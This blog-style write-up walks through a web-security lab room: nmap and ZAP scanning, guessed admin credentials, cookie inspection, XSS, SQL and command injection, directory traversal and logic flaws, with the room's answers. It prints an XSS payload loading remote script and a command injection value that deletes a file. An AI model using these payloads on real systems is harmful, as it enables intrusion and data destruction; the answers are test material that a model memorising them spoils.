Task 1: Enumerate
Every pentesting procedure starts with enumeration a.k.a information gathering. This stage allows the pentester to identify potential threats to the application. Let’s kick off our enumeration with the nmap scanner.$ nmap -A -v <Machine IP>Task 2: Web scanner
If you referred to my previous tutorial on web scanning. You should be familiar with Nikto and OWASP Zap scanner. Both scanners are used to identify the functionality of the web application. For this task, I’m going to use OWASP Zap scanner.Task 2-x: Apache and PHP version
Launch your OWASP Zap scanner, select the automated scan and input the target IP address. After that, randomly select a scanned PHP and check for the response.
Answer(Task2-2): PHP
Answer(Task2-3): 5.5.9
Other than identifying the exploitation, pentester will also try to figure out which page is vulnerable to certain functions such as cross-site scripting, SQL injection, upload malicious content, form brute-forcing, command injection and etc. We will talk more about these functions in later task. Now, let’s move onto the next phase, the modeling.
Task 3: Modeling or methodology
You can either go through the web application page by page or breaking down your methodology into several phases. Both methods have pro and con. If you go through the web application page by page, you are unlikely to miss the important pages and you can test all the vulnerabilities that apply on the page but it consumes a lot of time. On the other hand, breaking down into phases are more systematic and time-efficient which is good for web application with dynamic content. However, some important aspect might be overlooked. Both methods work for this challenge and I choose the second method (By phases).Phase 1: Authorization
This phase will check the pages which authorize a user and admin to enter their credential. In the room we found two types of authorization which are:- Admin (/admin/login.php)
- Users (/users/login.php)
Task 4: Credentials
After the authorization phase, we are now moving to the second phase which is authentication.Phase 2: Authentication
The authentication phase involves a mechanism that allows the user to log into the web application. Authentication can be tested in the following ways:- Brute forcing (such as Hydra)
- Weak credential
- Session management (Stealing the cookie)
1) Admin authentication
This is an easy task, the credential for admin page is an easy guess.
Answer(Task 4-2): admin
2) Admin’s session
The sessions are the mechanism used by the server to retains a state of the application. It is used to remember the user’s transaction and activity. On the worst-case scenario, the session will store the privilege level of a user. This state can be changed and escalate the user privilege. To check the session in the cookie, simply type the following JS code in the browser console.alert(document.cookie)
Answer: session
3) Looking for other users
In order to fully understand the application, you need to be one of the users. First and foremost, register yourself as a user.
Answer(Task 4-4): bryce
Answer(Task 4-5): bryce
Task 5: Cross-site scripting (XSS)
Phase 3: Injection (XSS)
XSS is a type of vulnerability by injecting malicious javascript into the web application even the websites is fully trustable. This exploitable redirect the victim to a phishing site or steal the session cookie as I did. There is a list of XSS payload available on the Internet. For the sake of simplicity, I used the following XSS for all the tasks <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
Task 6: Command and SQL injection
Command and SQL injection (SQLi) is another injection method besides XSS. This injection happens when the attackers try to input something out of ordinary.Phase 3: Injection (SQLi)
This injection target on the web application database. By providing a malicious input, the attacker can pull, modify and delete all the data in the database. You can visit SQLi wiki for more information. Similar to the XSS, there are persistent and non-persistent SQLi. For this challenge, I’m going to show you the persistent SQLi which can be done on the user registration page.
Phase 3: Injection (command)
This injection works for both Windows or Linux based server system. This injection is more toward the inner file system such as listing the directory/file, removing the file, reading the sensitive content and etc. The checkpass.php is more likely vulnerable to command injection.
123|rm -f index.php #Task 7: Other vulnerability
The webserver is also vulnerable to exploits such as parameter manipulation, directory traversal, forceful browsing and logic flaws.Phase 4: Client-side controls (Parameter manipulation)
I have shown you the vulnerability of searching user Bryce. The vulnerable located at /users/sample.php?id=
Phase 4: Client-side control (Directory transverse)
Directory transverse allows the attacker to access the file outside the webroot directory by adding ‘../’ on the URL or input field.
Phase 4: Client-side control (Forceful browsing)
Forceful browsing is where the attacker access the restricted content either by brute-forcing the URL (gobuster and dirbuster) or locate the directory by performing some action on the website. For this challenge, we are going to access the high-quality picture by using forceful browsing approach.
Phase 5: Logic flaw
The logic flaw allows the attacker to perform something that breaks the rule. For example, applying the coupon for multiple times until the price reach zero
Task extra: Vulnerable checklist
Let’s check what have we done to the box1) ✔Persistent XSS
2) ✔Non-persistent XSS
3) ✔Session-ID
4) ✔Persistent SQL
5) Non-persistent SQL
6) ✔Directory traversal
7) Multi-step XSS
8) ✔Forceful browsing
9) ✔Command injection
10) File-inclusion
11) ✔Parameter manipulation
12) ✔Non-persistent XSS behind JS
13) ✔Logic flaw
14) Non-persistent XSS behind the flash form
15) ✔Weak username and password
We have done 11 out of 15 vulnerable of this room. Please refer to the link for the vulnerable that is not discussed within this write-up.
0 comments:
Post a Comment